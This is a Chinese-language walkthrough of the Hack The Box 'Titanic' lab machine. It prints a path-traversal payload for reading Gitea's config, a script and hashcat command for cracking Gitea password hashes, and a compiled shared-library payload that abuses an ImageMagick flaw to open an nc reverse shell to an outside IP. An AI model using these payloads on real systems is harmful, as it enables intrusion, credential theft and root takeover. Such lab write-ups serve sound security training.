HTB-Titanic
信息收集
22 80端口开放 将域名和ip进行一个映射。然后扫后台,没扫出什么,尝试爆破子域名。
存在一个子域名,dev 添加进去。
dev的子域名是一个Gitea。然后接着扫后台,查看sitemap.xml 里面存放着另外一个子域名。
**
这个gitea其实也就是titanic

之前扫到的后台还有这个信息,去访问看一下信息,里面存放着源码信息,以及一个数据库的密码。

这个地方,存在一个任意文件下载漏洞。

漏洞利用
注意既然能进行任意问价读取了,那就尝试读取gitea的配置文件信息。
主要是路径,这里它是在home,developer用户下 里面的gitea/data/gitea/conf/app.ini
1
| ../../../../../../../../../../../home/developer/gitea/data/gitea/conf/app.ini
|
里面有一个db文件,然后进行读取 刚开始还以为是jwt了。。。

然后就是用sqlite的语法,进行查数据。
里面存在developer的密码。
这个是 PBKDF2加密算法,也有密钥,是1722595646
这个参考:
https://github.com/hashcat/hashcat/issues/1583
以及将salt passwd变成base64的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import sqlite3 import base64 import sys
if len(sys.argv) != 2: print("Usage: python3 gitea3hashcat.py <gitea.db>") sys.exit(1)
try: con = sqlite3.connect(sys.argv[1]) cursor = con.cursor() cursor.execute("SELECT passwd_hash_algo,salt,passwd FROM user") for row in cursor.fetchall(): if "pbkdf2" in row[0]: algo, iterations, keylen = row[0].split("$") algo = "sha256" else: raise Exception("Unknown Algorithm") salt = bytes.fromhex(row[1]) passwd = bytes.fromhex(row[2]) salt_b64 = base64.b64encode(salt).decode("utf-8") passwd_b64 = base64.b64encode(passwd).decode("utf-8") print(f"{algo}:{iterations}:{salt_b64}:{passwd_b64}") except Exception as e: print(f"Error: {e}") sys.exit(1)
|

利用hashcat进行爆破。
1 2
| hashcat -a 0 -m 10900 1.hash '/usr/share/wordlist/rockyou.txt' --show
|

得到密码之后 ssh登录上去。
提权
在/opt/scripts目录下,发现一个sh文件
1 2 3
| cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
|
大概意思就是cd道images目录下,然后将metadata.log文件给清空,然后查找images目录下所有的jpg文件,通过xargs处理多个jpg文件,利用magick获取jpg图片的元数据,输出到metadata.log文件中
查看magick的版本信息

版本信息为7.1.1-35 在github上找到相关利用
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
1 2 3 4 5 6 7 8 9 10
| gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
__attribute__((constructor)) void init(){ system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.89 4444 >/tmp/f"); exit(0); } EOF
|
然后再复制一张图片出来,让那个sh脚本运行一下。

总结
首先通过信息收集爆破子域名,然后通过扫后台,发现信息泄露,通过源码得知存在任意文件读取,通过任意文件读取得到app.ini的内容,里面存放着数据库的位置,接着读取,然后密码是一个PBKDF2哈希加密过后的,且存在加盐,通过网上的脚本先把hash转成base64形式的,然后通过hashcat爆破密码,通过ssh登录上去,再opt/scripts下发现可疑sh文件,这个sh文件是以root的身份运行,并且得知是magick的一个用法,通过搜索版本信息,找到利用漏洞,通过LD_PRELOAD劫持来进行一个提权。